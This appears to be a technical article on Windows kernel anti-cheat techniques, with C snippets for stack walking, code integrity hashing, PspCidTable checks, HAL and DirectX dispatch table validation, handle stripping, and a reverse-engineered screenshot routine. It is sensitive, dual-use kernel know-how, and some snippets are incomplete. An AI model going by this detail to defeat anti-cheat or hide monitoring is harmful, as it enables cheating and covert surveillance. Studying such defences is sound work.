The ValidateThreadContext function performs a basic check to see if the thread's starting address falls within a known valid range for the process. Real-world implementations would involve more complex checks, but this is just a lazy example.

BOOLEAN ValidateThreadContext(PETHREAD Thread)
{
    PVOID StartAddress = PsGetThreadStartAddress(Thread);
    PEPROCESS Process = IoThreadToProcess(Thread);
    PVOID BaseAddress = PsGetProcessSectionBaseAddress(Process);

    if ((ULONG_PTR)StartAddress >= (ULONG_PTR)BaseAddress &&
        (ULONG_PTR)StartAddress < (ULONG_PTR)BaseAddress + 0x1000000) // 16 MB range
    {
        return TRUE;
    }

    return FALSE;
}

ValidateThreadContext retrieves the thread's start address using PsGetThreadStartAddress and compares it with the base address of the process obtained through PsGetProcessSectionBaseAddress. If the start address falls within a 16 MB range of the base address, the thread is considered valid. Otherwise, it is flagged as potentially unauthorized.

This approach allows the detection of threads that do not originate from the expected code regions within the process, which is a common characteristic of threads injected by malicious actors. By integrating this detection mechanism into a kernel-mode driver, anti-cheat systems can effectively monitor and respond to unauthorized thread creation, thereby enhancing the security and integrity of the game.

DPC/APC Stackwalking

Stack walking via Asynchronous Procedure Calls (APC) and Deferred Procedure Calls (DPC) is an essential technique for identifying potentially malicious activities. Both APC and DPC are mechanisms that execute code asynchronously in the context of a particular thread, but they operate differently and serve different purposes within the Windows operating system.

APC stack walking via RtlCaptureStackBackTrace is used to capture the call stack of a thread at a specific point in time when an APC is executed. APCs are designed to allow user-mode applications and kernel-mode drivers to execute code in the context of a specific thread. They are commonly used for asynchronous I/O operations and other delayed execution tasks.

To implement APC stack walking, the driver can set an APC to be executed in the context of a thread and then use RtlCaptureStackBackTrace to capture the call stack. This allows the driver to examine the sequence of function calls that led to the execution of the APC and identify any suspicious or unauthorized code execution paths.

VOID APCFunction(KAPC *Apc, PKNORMAL_ROUTINE *NormalRoutine, PVOID *NormalContext,
                 PVOID *SystemArgument1, PVOID *SystemArgument2)
{
    UNREFERENCED_PARAMETER(Apc);
    UNREFERENCED_PARAMETER(NormalRoutine);
    UNREFERENCED_PARAMETER(NormalContext);
    UNREFERENCED_PARAMETER(SystemArgument1);
    UNREFERENCED_PARAMETER(SystemArgument2);

    ULONG framesToCapture = 10;
    PVOID stackBackTrace[10];
    ULONG capturedFrames = RtlCaptureStackBackTrace(0, framesToCapture, stackBackTrace, NULL);

    for (ULONG i = 0; i < capturedFrames; i++)
    {
        DbgPrint("APC Stack Frame[%d]: %p\n", i, stackBackTrace[i]);
    }
}

VOID SetAPC(PETHREAD Thread)
{
    PKAPC apc = (PKAPC)ExAllocatePool(NonPagedPool, sizeof(KAPC));
    if (apc)
    {
        KeInitializeApc(apc, Thread, OriginalApcEnvironment, APCFunction, NULL, NULL, KernelMode, NULL);
        KeInsertQueueApc(apc, NULL, NULL, 0);
    }
}

In this example, APCFunction is the APC routine that captures the stack trace using RtlCaptureStackBackTrace and prints the captured stack frames. The SetAPC function initializes and inserts the APC into the queue of the specified thread.

DPC stack walking via RtlCaptureStackBackTrace operates similarly but is used for Deferred Procedure Calls. DPCs are designed to handle high-priority tasks that need to be executed promptly but at a lower priority than interrupt service routines (ISRs). They are commonly used for deferred processing of I/O operations and other time-sensitive tasks that do not require immediate execution in the context of an interrupt.

To capture the stack trace during a DPC execution, the driver can set up a DPC and use RtlCaptureStackBackTrace in the DPC routine to examine the call stack. This allows the driver to analyze the sequence of function calls that led to the DPC execution and detect any anomalies.

VOID DPCFunction(KDPC *Dpc, PVOID DeferredContext, PVOID SystemArgument1, PVOID SystemArgument2)
{
    UNREFERENCED_PARAMETER(Dpc);
    UNREFERENCED_PARAMETER(DeferredContext);
    UNREFERENCED_PARAMETER(SystemArgument1);
    UNREFERENCED_PARAMETER(SystemArgument2);

    ULONG framesToCapture = 10;
    PVOID stackBackTrace[10];
    ULONG capturedFrames = RtlCaptureStackBackTrace(0, framesToCapture, stackBackTrace, NULL);

    for (ULONG i = 0; i < capturedFrames; i++)
    {
        DbgPrint("DPC Stack Frame[%d]: %p\n", i, stackBackTrace[i]);
    }
}

VOID ScheduleDPC()
{
    PKDPC dpc = (PKDPC)ExAllocatePool(NonPagedPool, sizeof(KDPC));
    if (dpc)
    {
        KeInitializeDpc(dpc, DPCFunction, NULL);
        KeInsertQueueDpc(dpc, NULL, NULL);
    }
}

In this example, DPCFunction is the DPC routine that captures the stack trace using RtlCaptureStackBackTrace and prints the captured stack frames. The ScheduleDPC function initializes and inserts the DPC into the system DPC queue.

Comparing the two approaches, APC stack walking is performed in the context of a specific thread, which allows for a more granular inspection of thread-specific execution paths. This is particularly useful for detecting malicious code execution within user-mode threads or within the context of specific kernel-mode threads. On the other hand, DPC stack walking is performed in the context of system-wide deferred procedure calls, which are generally executed at a higher priority than normal thread execution. This makes DPC stack walking more suitable for detecting anomalies in high-priority, time-sensitive operations, such as those related to interrupt handling or critical I/O processing. Both approaches leverage RtlCaptureStackBackTrace to capture the call stack and provide valuable insights into the execution paths leading to APC or DPC execution.

NMI Stackwalking

NMI (Non-Maskable Interrupt) stackwalking via ISR (Interrupt Service Routine) IRETQ involves a sequence of operations to validate the integrity of the system by inspecting the call stack during an NMI. This is achieved by handling NMIs and capturing the call stack through the interrupt service routine, ensuring no unauthorized modifications have been made to critical sections of the kernel.

When an NMI occurs, the HandleNmiIOCTL function is invoked to handle the interrupt. This function is responsible for setting up the necessary environment to capture the stack trace. The ISR for the NMI is designed to save the processor state, including the instruction pointer, stack pointer, and other critical registers, to ensure a reliable context for stackwalking.

The core function involved in NMI stackwalking dispatches a kernel APC (Asynchronous Procedure Call) to each CPU. This APC is used to walk the stack and capture the instruction pointers at each frame. The captured stack frames are then validated against known good regions of the code to detect any anomalies.

HandleNmiIOCTL()
{
    PAGED_CODE();

    NTSTATUS       status  = STATUS_UNSUCCESSFUL;
    PVOID          handle  = NULL;
    SYSTEM_MODULES modules = {0};
    PNMI_CONTEXT   context = NULL;

    UINT32 size = ImpKeQueryActiveProcessorCount(0) * sizeof(NMI_CONTEXT);

    if (IsNmiInProgress())
        return STATUS_ALREADY_COMMITTED;

    status = ValidateHalDispatchTables();

The HandleNmiIOCTL function prepares the system to handle an NMI, ensuring that all necessary resources are allocated and the environment is correctly configured. The actual stackwalking is performed by dispatching an APC to each CPU. The APC callback function captures the stack frames and validates them.

NTSTATUS
DispatchStackwalkToEachCpuViaDpc()
{
    NTSTATUS       status  = STATUS_UNSUCCESSFUL;
    PDPC_CONTEXT   context = NULL;
    SYSTEM_MODULES modules = {0};
    UINT32 size = ImpKeQueryActiveProcessorCount(0) * sizeof(DPC_CONTEXT);
    context = ImpExAllocatePool2(POOL_FLAG_NON_PAGED, size, POOL_TAG_DPC);
    if (!context)
        return STATUS_MEMORY_NOT_ALLOCATED;
    status = GetSystemModuleInformation(&modules);
    if (!NT_SUCCESS(status)) {
        DEBUG_ERROR("GetSystemModuleInformation failed with status %x", status);
        goto end;
    }
    ImpKeGenericCallDpc(DpcStackwalkCallbackRoutine, context);
    while (!CheckForDpcCompletion(context))
        YieldProcessor();
    ValidateDpcCapturedStack(&modules, context);
    DEBUG_VERBOSE("Finished validating cores via dpc");
end:
    if (modules.address)
        ImpExFreePoolWithTag(modules.address, SYSTEM_MODULES_POOL);
    if (context)
        ImpExFreePoolWithTag(context, POOL_TAG_DPC);
    return status;
}

In the context of an NMI, the ISR captures the processor state and obtaind the stack trace. This is typically done within the ISR or the APC callback. We can retrieve the interrupted instruction pointer (RIP) and stack pointer (RSP), ensuring that even at high interrupt levels, critical information can be captured without relying on potentially unsafe functions. We can then access the specific NMI context for the current processor core from the Context array. Several variables are initialized, including kpcr for the kernel processor control region, tss for the task state segment, and machine_frame for the interrupted machine state.

STATIC BOOLEAN
NmiCallback(_Inout_opt_ PVOID Context, _In_ BOOLEAN Handled)
{
    UNREFERENCED_PARAMETER(Handled);

    ULONG                  core          = KeGetCurrentProcessorNumber();
    PNMI_CONTEXT           context       = &((PNMI_CONTEXT)Context)[core];
    UINT64                 kpcr          = 0;
    TASK_STATE_SEGMENT_64* tss           = NULL;
    PMACHINE_FRAME         machine_frame = NULL;

    if (!ARGUMENT_PRESENT(Context))
        return TRUE;
    kpcr          = __readmsr(IA32_GS_BASE);
    tss           = GetTaskStateSegment(kpcr);
    machine_frame = GetIsrMachineFrame(tss);

To locate the IRETQ frame, which contains the interrupted instruction pointer (RIP), the function must find the top of the NMI ISR stack. This stack top is stored in the TSS (Task State Segment) at TSS->Ist[3]. The TSS itself can be obtained from the KPCR->TSS_BASE. After obtaining the TSS, the function reads the value at TSS->Ist[3], which points to the top of the ISR stack, and then subtracts the size of the MACHINE_FRAME structure. This allows the function to read the interrupted RIP.

Using the __readmsr function, the kpcr is retrieved, which is the base address of the KPCR. The GetTaskStateSegment function is then called to obtain the TSS from the kpcr. Finally, the GetIsrMachineFrame function retrieves the machine frame from the TSS. We can then check if the interrupted RIP belongs to user mode using IsUserModeAddress. If it does, it sets the user_thread flag in the context to TRUE.

    if (IsUserModeAddress(machine_frame->rip))
        context->user_thread = TRUE;

    context->interrupted_rip = machine_frame->rip;
    context->interrupted_rsp = machine_frame->rsp;
    context->kthread         = PsGetCurrentThread();
    context->callback_count++;

    DEBUG_VERBOSE(
        "[NMI CALLBACK]: Core Number: %lx, Interrupted RIP: %llx, Interrupted RSP: %llx",
        core,
        machine_frame->rip,
        machine_frame->rsp);

    return TRUE;
}

The interrupted RIP and RSP are stored in the context. The current thread is obtained using PsGetCurrentThread and stored in the context's kthread field. The callback_count is incremented to keep track of the number of times this callback has been invoked. To determine the validity of an instruction pointer, we can check whether the captured instruction pointer (RIP) falls within an invalid region, indicating potential tampering.

BOOLEAN
IsInstructionPointerInInvalidRegion(_In_ UINT64          RIP,
                                    _In_ PSYSTEM_MODULES SystemModules)
{
    PAGED_CODE();

    PRTL_MODULE_EXTENDED_INFO modules =
        (PRTL_MODULE_EXTENDED_INFO)SystemModules->address;

    for (INT index = 0; index < SystemModules->module_count; index++) {
        UINT64 base = (UINT64)modules[index].ImageBase;
        UINT64 end  = base + modules[index].ImageSize;

        if (RIP >= base && RIP <= end) {
            return FALSE;
        }
    }

    return TRUE;
}

Memory Section Integrity Checks

Cheaters often attempt to modify game code or system modules and we can also detect these attempts by making sure that the executable code in memory matches the original, untampered code.

Once we have obtained the information of the modules, we can store it to its executable sections into a buffer for further analysis. We can do this by iterating through the module's sections, identifying and copying the executable sections into a buffer.

NTSTATUS StoreModuleExecutableRegionsInBuffer(_Out_ PVOID* Buffer,
                                              _In_ PVOID ModuleBase,
                                              _In_ SIZE_T ModuleSize,
                                              _Out_ PSIZE_T BytesWritten,
                                              _In_ BOOLEAN IsModulex86) {
    if (!ModuleBase || !ModuleSize)
        return STATUS_INVALID_PARAMETER;
    if (!IsModuleAddressSafe(ModuleBase, IsModulex86))
        return STATUS_UNSUCCESSFUL;

    *BytesWritten = 0;
    *Buffer = ImpExAllocatePool2(POOL_FLAG_NON_PAGED,
                                 ModuleSize + sizeof(INTEGRITY_CHECK_HEADER),
                                 POOL_TAG_INTEGRITY);
    if (*Buffer == NULL)
        return STATUS_MEMORY_NOT_ALLOCATED;

    nt_header = PeGetNtHeader(ModuleBase);
    num_sections = GetSectionCount(nt_header);
    section = IMAGE_FIRST_SECTION(nt_header);
    buffer_base = (UINT64)*Buffer + sizeof(INTEGRITY_CHECK_HEADER);

    for (ULONG index = 0; index < num_sections - 1; index++) {
        if (!IsSectionExecutable(section)) {
            section++;
            continue;
        }
        address.VirtualAddress = section;
        status = ImpMmCopyMemory((UINT64)buffer_base + total_packet_size,
                                 address,
                                 sizeof(IMAGE_SECTION_HEADER),
                                 MM_COPY_MEMORY_VIRTUAL,
                                 &bytes_returned);
        if (!NT_SUCCESS(status)) {
            ImpExFreePoolWithTag(*Buffer, POOL_TAG_INTEGRITY);
            *Buffer = NULL;
            return status;
        }
        address.VirtualAddress = (UINT64)ModuleBase + section->PointerToRawData;
        status = ImpMmCopyMemory((UINT64)buffer_base + total_packet_size +
                                     sizeof(IMAGE_SECTION_HEADER),
                                 address,
                                 section->SizeOfRawData,
                                 MM_COPY_MEMORY_VIRTUAL,
                                 &bytes_returned);
        if (!NT_SUCCESS(status)) {
            ImpExFreePoolWithTag(*Buffer, POOL_TAG_INTEGRITY);
            *Buffer = NULL;
            return status;
        }
        total_packet_size += GetSectionTotalPacketSize(section);
        num_executable_sections++;
        section++;
    }
    InitIntegrityCheckHeader(&header, num_executable_sections, total_packet_size);
    RtlCopyMemory(*Buffer, &header, sizeof(INTEGRITY_CHECK_HEADER));
    *BytesWritten = total_packet_size + sizeof(INTEGRITY_CHECK_HEADER);
    return status;
}

We first check check if a section is executable, and then if true we copy the section headers and their content into a buffer. The buffer now contains all the executable sections of the module, which will be used for integrity verification. The next crucial step is to map the disk image of the module into the virtual address space. This allows the integrity checker to access the module's original, unmodified state directly from the disk.

NTSTATUS MapDiskImageIntoVirtualAddressSpace(_Inout_ PHANDLE SectionHandle,
                                             _Out_ PVOID* Section,
                                             _In_ PUNICODE_STRING Path,
                                             _Out_ PSIZE_T Size) {
    HANDLE file_handle = NULL;
    OBJECT_ATTRIBUTES object_attributes = {0};
    UNICODE_STRING path = {0};
    *Section = NULL;
    *Size = 0;
    ImpRtlInitUnicodeString(&path, Path->Buffer);
    InitializeObjectAttributes(&object_attributes, &path, OBJ_KERNEL_HANDLE, NULL, NULL);
    status = ImpZwOpenFile(&file_handle, GENERIC_READ, &object_attributes, &pio_block, NULL, NULL);
    if (!NT_SUCCESS(status)) {
        return status;
    }
    object_attributes.ObjectName = NULL;
    status = ImpZwCreateSection(SectionHandle, SECTION_ALL_ACCESS, &object_attributes, NULL, PAGE_READONLY, SEC_IMAGE, file_handle);
    if (!NT_SUCCESS(status)) {
        ImpZwClose(file_handle);
        *SectionHandle = NULL;
        return status;
    }
    status = ImpZwMapViewOfSection(*SectionHandle, ZwCurrentProcess(), Section, NULL, NULL, NULL, Size, ViewUnmap, MEM_TOP_DOWN, PAGE_READONLY);
    if (!NT_SUCCESS(status)) {
        ImpZwClose(file_handle);
        ImpZwClose(*SectionHandle);
        *SectionHandle = NULL;
        return status;
    }
    ImpZwClose(file_handle);
    return status;
}

After mapping the disk image, we can recall the storing function but this time with the disk image as the source. This ensures that we have a buffer containing the executable sections from the disk image, which can be directly compared to the in-memory buffer.

NTSTATUS ComputeHashOfSections(_In_ PIMAGE_SECTION_HEADER DiskSection,
                               _In_ PIMAGE_SECTION_HEADER MemorySection,
                               _Out_ PVOID* DiskHash,
                               _Out_ PULONG DiskHashSize,
                               _Out_ PVOID* MemoryHash,
                               _Out_ PULONG MemoryHashSize) {
    if (DiskSection->SizeOfRawData != MemorySection->SizeOfRawData) {
        return STATUS_INVALID_BUFFER_SIZE;
    }
    status = ComputeHashOfBuffer((UINT64)DiskSection + sizeof(IMAGE_SECTION_HEADER),
                                 DiskSection->SizeOfRawData,
                                 DiskHash,
                                 DiskHashSize);
    if (!NT_SUCCESS(status)) {
        return status;
    }
    status = ComputeHashOfBuffer((UINT64)MemorySection + sizeof(IMAGE_SECTION_HEADER),
                                 MemorySection->SizeOfRawData,
                                 MemoryHash,
                                 MemoryHashSize);
    return status;
}

We check if the sizes of the sections match before computing their hashes, then generate the SHA-256 hashes of the section contents. Finally, we can compare the two results. If the hashes do not match, it indicates that the in-memory section has been modified and we can trigger an integrity violation.

FORCEINLINE
STATIC
BOOLEAN
CompareHashes(_In_ PVOID Hash1, _In_ PVOID Hash2, _In_ UINT32 Length) {
    return RtlCompareMemory(Hash1, Hash2, Length) == Length ? TRUE : FALSE;
}

Detection of PspCidTable Entry Detection Removal

The PspCidTable (Process Structure CID Table) is a critical data structure in the Windows kernel that maintains mappings of process and thread IDs to their respective structures. By removing or modifying entries in this table, a cheat can effectively hide its own threads and processes from system monitoring tools. This makes it difficult for anticheat systems to detect the presence of the cheat software.

Previously, we captured the state of the interrupted thread and stores the relevant information in the NMI_CONTEXT structure. This includes the kthread pointer, which points to the current thread's kernel structure. We can in turn use this to detecting removed thread PspCidTable entries is crucial for identifying malicious activities that attempt to hide the presence of threads from the operating system.

After capturing the thread context via NMI, the AnalyseNmiData function is used to validate the presence of each thread in the PspCidTable. The function iterates through each core's NMI_CONTEXT and checks if the captured thread is listed in the PspCidTable.

STATIC
NTSTATUS
AnalyseNmiData(_In_ PNMI_CONTEXT NmiContext, _In_ PSYSTEM_MODULES SystemModules)
{
    PAGED_CODE();

    NTSTATUS status = STATUS_UNSUCCESSFUL;

    if (!NmiContext || !SystemModules)
        return STATUS_INVALID_PARAMETER;

    for (INT core = 0; core < ImpKeQueryActiveProcessorCount(0); core++) {
        if (!NmiContext[core].callback_count) {
            ReportNmiBlocking();
            return STATUS_SUCCESS;
        }

        DEBUG_VERBOSE(
            "Analysing Nmi Data for: cpu number: %i callback count: %lx",
            core,
            NmiContext[core].callback_count);

        if (!DoesThreadHaveValidCidEntry(NmiContext[core].kthread)) {
            ReportMissingCidTableEntry(&NmiContext[core]);
        }

        if (NmiContext[core].user_thread)
            continue;

        if (IsInstructionPointerInInvalidRegion(
                NmiContext[core].interrupted_rip, SystemModules))
            ReportInvalidRipFoundDuringNmi(&NmiContext[core]);
    }

    return STATUS_SUCCESS;
}

We can then verify if the thread has a valid entry in the PspCidTable. If the thread is not found in the PspCidTable, it indicates that the thread might have been hidden or unlinked, which is a common technique used by cheat programs to avoid detection.

DirectX Graphics Kernel Monitoring

The gDxgkInterface table is part of the Windows graphics subsystem, specifically used by the DirectX Graphics Kernel (dxgkrnl.sys). By hooking into these interfaces, cheaters can manipulate the graphics rendering pipeline to achieve various forms of cheating, such as:

• Wallhacks: Allowing players to see through walls by modifying how graphics are rendered, making certain objects transparent or highlighting players through walls.

• Aimbots: Automatically aiming at targets by altering the input handling routines.

• ESP (Extrasensory Perception): Displaying additional information on the screen, such as player names, health, and locations.

Monitoring this kernel involves creating a routine validation for Win32kBase_DxgInterface that ensure that the functions within the gDxgkInterface table are legitimate and reside within valid memory regions.

We first start by searching for the win32kbase.sys and dxgkrnl.sys modules.

PRTL_MODULE_EXTENDED_INFO FindModuleByName(_In_ PSYSTEM_MODULES Modules, _In_ PCHAR ModuleName) {
    for (UINT32 index = 0; index < Modules->module_count; index++) {
        PRTL_MODULE_EXTENDED_INFO entry =
            &((PRTL_MODULE_EXTENDED_INFO)(Modules->address))[index];
        if (strstr(entry->FullPathName, ModuleName))
            return entry;
    }

    return NULL;
}

We can then attach to the winlogon process context using KeStackAttachProcess, which allows for safely accessing and manipulating user-mode memory within a kernel-mode context. Within this context, the function locates the gDxgkInterface table in the win32kbase.sys.

KeStackAttachProcess(winlogon, &apc);
dxg_interface = PeFindExportByName(win32kbase->ImageBase, "gDxgkInterface");

if (!dxg_interface) {
    status = STATUS_UNSUCCESSFUL;
    goto detatch;
}

The entries in gDxgkInterface are then iterated over, starting from the fourth entry (the first three entries are housekeeping).

for (UINT32 index = 3; index < WIN32KBASE_DXGKRNL_INTERFACE_FUNC_COUNT + 3; index++) {
    if (!dxg_interface[index])
        continue;

    PVOID entry = FindChainedPointerEnding(dxg_interface[index]);

We then follow the chain of pointers, ensuring each is valid, and returns the final pointer. Each entry is then validated to ensure it resides within the dxgkrnl.sys module's memory region.

PVOID FindChainedPointerEnding(_In_ PVOID* Start) {
    PVOID* current = *Start;
    PVOID  prev    = Start;

    while (IsValidKernelAddress(current)) {
        __try {
            prev    = current;
            current = *current;
        }
        __except (EXCEPTION_EXECUTE_HANDLER) {
            return prev;
        }
    }

    return prev;
}

HAL Dispatch Table Validation

HalDispatch and HalPrivateDispatch are structures in the Windows operating system kernel that contain function pointers to various hardware abstraction layer (HAL) routines. These tables are critical for the operation of the HAL, which abstracts hardware-specific details from the rest of the operating system, providing a consistent interface for hardware interaction. As these structures contain pointers to essential HAL functions that manage hardware resources, cheats can work by hooking into these structures.

For HalDispatch, we can iterates through predefined function pointers, verifying if they reside within valid kernel memory regions.

STATIC VOID ValidateHalDispatchTable(_Out_ PVOID* Routine, _In_ PSYSTEM_MODULES Modules) {
    *Routine = NULL;
    DEBUG_VERBOSE("Validating HalDispatchTable.");

    if (IsInstructionPointerInInvalidRegion(HalQuerySystemInformation, Modules)) {
        *Routine = HalQuerySystemInformation;
        goto end;
    }

    if (IsInstructionPointerInInvalidRegion(HalSetSystemInformation, Modules)) {
        *Routine = HalSetSystemInformation;
        goto end;
    }

    // ...

end:
    return;
}

We can checks if the instruction pointer (HalQuerySystemInformation, HalSetSystemInformation, etc.) is within a valid region of memory. If any pointer is found to be invalid, it sets the Routine pointer to the invalid function and exits. Each function pointer in the HalDispatchTable is validated sequentially.

But for HalPrivateDispatchTable this task is abit more difficult, as its not as well documented as HalDispatch because its reserved for hardware-specific functions that are not exposed through standard HAL interfaces. This table is also slightly more complex because its size varies depending on the Windows version.

STATIC NTSTATUS ValidateHalPrivateDispatchTable(_Out_ PVOID* Routine, _In_ PSYSTEM_MODULES Modules) {
    NTSTATUS status = STATUS_UNSUCCESSFUL;
    PVOID table = NULL;
    UNICODE_STRING string = RTL_CONSTANT_STRING(L"HalPrivateDispatchTable");
    PVOID* base = NULL;
    RTL_OSVERSIONINFOW os_info = {0};
    UINT32 count = 0;

    DEBUG_VERBOSE("Validating HalPrivateDispatchTable.");

    table = ImpMmGetSystemRoutineAddress(&string);

    if (!table) return status;

    status = GetOsVersionInformation(&os_info);

    if (!NT_SUCCESS(status)) {
        DEBUG_ERROR("GetOsVersionInformation failed with status %x", status);
        return status;
    }

    base  = (UINT64)table + sizeof(UINT64);
    count = GetHalPrivateDispatchTableRoutineCount(&os_info);

    ValidateTableDispatchRoutines(base, count, Modules, Routine);
    return status;
}

We can first retrieve the address of the HalPrivateDispatchTable, then determine the number of entries in the table based on the OS version, obtained by calling GetOsVersionInformation. The routine count is computed by GetHalPrivateDispatchTableRoutineCount, which checks the OS build number and returns the appropriate size.

Then we can do the same and iterate through each entry in the HalPrivateDispatchTable, checking if each instruction pointer resides within a valid memory region. If an invalid pointer is found, it sets the Routine pointer to this invalid function.

STATIC VOID ValidateTableDispatchRoutines(_In_ PVOID* Base, _In_ UINT32 Entries, _In_ PSYSTEM_MODULES Modules, _Out_ PVOID* Routine) {
    for (UINT32 index = 0; index < Entries; index++) {
        if (!Base[index]) continue;

        if (IsInstructionPointerInInvalidRegion(Base[index], Modules))
            *Routine = Base[index];
    }
}

Handle Stripping via Object Callbacks

Cheat programs often try to open handles to game processes to read or write memory, inject code, or manipulate the game's execution. By intercepting handle creation and duplication requests through object callbacks, the anti-cheat driver can inspect these requests and deny access if they are deemed unauthorized.

By stripping handles and denying unauthorized access, the anti-cheat driver ensures that the game process and other related processes maintain their integrity. We can start by registering callback routines for process and thread objects.

OB_CALLBACK_REGISTRATION callbackRegistration;
OB_OPERATION_REGISTRATION operationRegistration[1];

RtlZeroMemory(&callbackRegistration, sizeof(OB_CALLBACK_REGISTRATION));
RtlZeroMemory(&operationRegistration, sizeof(OB_OPERATION_REGISTRATION));

operationRegistration[0].ObjectType = PsProcessType;
operationRegistration[0].Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE;
operationRegistration[0].PreOperation = ObPreOpCallbackRoutine;
operationRegistration[0].PostOperation = ObPostOpCallbackRoutine;

callbackRegistration.Version = OB_FLT_REGISTRATION_VERSION;
callbackRegistration.OperationRegistrationCount = 1;
callbackRegistration.Altitude = L"320000";
callbackRegistration.RegistrationContext = NULL;
callbackRegistration.OperationRegistration = operationRegistration;

NTSTATUS status = ObRegisterCallbacks(&callbackRegistration, &callbackHandle);
if (!NT_SUCCESS(status)) {
    // handle errors
}

Then we need to check if the object type is a process and if the operation is handle creation or duplication. After that we need to inspect the handle attributes to determine if the handle request is unauthorized. If it is, we strip the handle by modifying the desired access rights.

OB_PREOP_CALLBACK_STATUS ObPreOpCallbackRoutine(
    PVOID RegistrationContext,
    POB_PRE_OPERATION_INFORMATION OperationInformation)
{
    PAGED_CODE();

    UNREFERENCED_PARAMETER(RegistrationContext);

    ACCESS_MASK deny_access = SYNCHRONIZE | PROCESS_TERMINATE;

    PEPROCESS process_creator = PsGetCurrentProcess();
    PEPROCESS target_process = (PEPROCESS)OperationInformation->Object;
    HANDLE process_creator_id = ImpPsGetProcessId(process_creator);
    LPCSTR process_creator_name = ImpPsGetProcessImageFileName(process_creator);
    LPCSTR target_process_name = ImpPsGetProcessImageFileName(target_process);

    if (!process_creator_name || !target_process_name)
        return OB_PREOP_SUCCESS;

    // check if the process is whitelisted
    if (IsWhitelistedHandleOpenProcess(process_creator_name) ||
        !strcmp(process_creator_name, target_process_name)) {
        return OB_PREOP_SUCCESS;
    }

    // deny access if the process is not whitelisted
    OperationInformation->Parameters->CreateHandleInformation.DesiredAccess = deny_access;
    OperationInformation->Parameters->DuplicateHandleInformation.DesiredAccess = deny_access;

    return OB_PREOP_SUCCESS;
}

But in targeting these specific processes, we also want to exclude certain processes from being terminated. Common user installed programs like Discord and Steam, or essential Windows services should be whitelisted to avoid system instability.

#define PROCESS_HANDLE_OPEN_WHITELIST_COUNT 3

CHAR PROCESS_HANDLE_OPEN_WHITELIST[PROCESS_HANDLE_OPEN_WHITELIST_COUNT]
                                  [MAX_PROCESS_NAME_LENGTH] = {"Discord.exe",
                                                               "svchost.exe",
                                                               "explorer.exe"};

STATIC
BOOLEAN
IsWhitelistedHandleOpenProcess(_In_ LPCSTR ProcessName)
{
    for (UINT32 index = 0; index < PROCESS_HANDLE_OPEN_WHITELIST_COUNT;
         index++) {
        if (!strcmp(ProcessName, PROCESS_HANDLE_OPEN_WHITELIST[index]))
            return TRUE;
    }

    return FALSE;
}

Screenshot Gathering

This is probably one of the most egregious cases of anticheat overreach and is probably what comes to mind when people talk about kernel level anticheats. The most popular example of this when @w_sted found out Valorant is taking full display screenshots of user devices, but this was subsequently debunked by @daaximus who said screenshotting only occurs on active windows (aka, only the game).

In the context of a kernel-level anti-cheat system, this code is designed to capture screenshots of a user's desktop or a specific window at regular intervals, likely for the purpose of monitoring and ensuring the integrity of the gameplay environment. The code includes functionalities to minimize or hide the capture window under certain conditions, like when the user presses specific keys, which is common in anti-cheat mechanisms to prevent tampering.

Impressively, @daaximus provided the full approximate recreation of the function based on the reverse engineered snippet. The core of the implementation revolves around GDI+ for capturing and saving screenshots. The GDI+ library is initialized at the beginning of the screenshot capture function to facilitate image encoding and saving in PNG format.

GdiplusStartupInput gdipsi;
ULONG_PTR token;
GdiplusStartup(&token, &gdipsi, nullptr);

The get_encoder_clsid function fetches the CLSID of the image encoder for PNG files, which is necessary for saving the captured images in the correct format. This function iterates through the available image encoders and matches the requested format to return the appropriate CLSID.

cppCopy codeint get_encoder_clsid(const WCHAR* format, CLSID* clsid) {
    UINT num_encoders = 0;
    UINT size_encoders = 0;
    ImageCodecInfo* codec_info = nullptr;
    GetImageEncodersSize(&num_encoders, &size_encoders);

    if (size_encoders == 0) return -1;

    codec_info = static_cast<ImageCodecInfo*>(malloc(size_encoders));

    if (codec_info == nullptr) return -1;

    GetImageEncoders(num_encoders, size_encoders, codec_info);

    for (UINT it = 0; it < num_encoders; ++it) {
        if (wcscmp(codec_info[it].MimeType, format) == 0) {
            *clsid = codec_info[it].Clsid;
            free(codec_info);
            return it;
        }
    }
    free(codec_info);
    return -1;
}

The capture_screenshot function takes a file name and an optional window handle (hwnd). It determines the screen dimensions to capture, either the entire virtual screen or the dimensions of the specified window. The function creates a compatible bitmap and device context to store the captured screen content.

void capture_screenshot(const std::wstring& filename, HWND hwnd) {
    const HDC hdc_screen = GetDC(nullptr);
    const HDC hdc_capture = CreateCompatibleDC(hdc_screen);

    int left = GetSystemMetrics(SM_XVIRTUALSCREEN);
    int top = GetSystemMetrics(SM_YVIRTUALSCREEN);
    int width = GetSystemMetrics(SM_CXVIRTUALSCREEN);
    int height = GetSystemMetrics(SM_CYVIRTUALSCREEN);

    if (hwnd != nullptr) {
        RECT window_rect;
        GetWindowRect(hwnd, &window_rect);
        left = window_rect.left;
        top = window_rect.top;
        width = window_rect.right - window_rect.left;
        height = window_rect.bottom - window_rect.top;
    }

    const HBITMAP hbm = CreateCompatibleBitmap(hdc_screen, width, height);
    SelectObject(hdc_capture, hbm);
    BitBlt(hdc_capture, 0, 0, width, height, hdc_screen, left, top, SRCCOPY);

    Bitmap* bitmap = Bitmap::FromHBITMAP(hbm, nullptr);

    CLSID png_clsid;
    get_encoder_clsid(L"image/png", &png_clsid);

    bitmap->Save(filename.c_str(), &png_clsid, nullptr);

    delete bitmap;
    DeleteObject(hbm);
    DeleteDC(hdc_capture);
    ReleaseDC(nullptr, hdc_screen);
    GdiplusShutdown(token);
}

The application includes a custom window procedure (window_proc) to handle various Windows messages. This procedure ensures that the capture window minimizes or hides itself under certain conditions, such as when the user presses the Alt+Tab combination or the Windows key. This behavior prevents the window from interfering with the user's actions and hides the presence of the anti-cheat mechanism.

LRESULT CALLBACK window_proc(HWND hwnd, UINT message, WPARAM wparam, LPARAM lparam) {
    switch (message) {
        case WM_DESTROY:
            PostQuitMessage(0);
            return 0;
        case WM_ACTIVATE:
            if (wparam == WA_INACTIVE) {
                ShowWindow(hwnd, SW_MINIMIZE);
                return 0;
            }
            break;
        case WM_KEYDOWN:
            switch (wparam) {
                case VK_TAB:
                    if ((GetKeyState(VK_MENU) & 0x1) != 0)
                        ShowWindow(hwnd, SW_MINIMIZE);
                    return 0;
                case VK_LWIN:
                case VK_RWIN:
                    ShowWindow(hwnd, SW_MINIMIZE);
                    return 0;
                case VK_ESCAPE:
                    PostQuitMessage(0);
                    return 0;
                default: break;
            }
            break;
        default: break;
    }
    return DefWindowProc(hwnd, message, wparam, lparam);
}

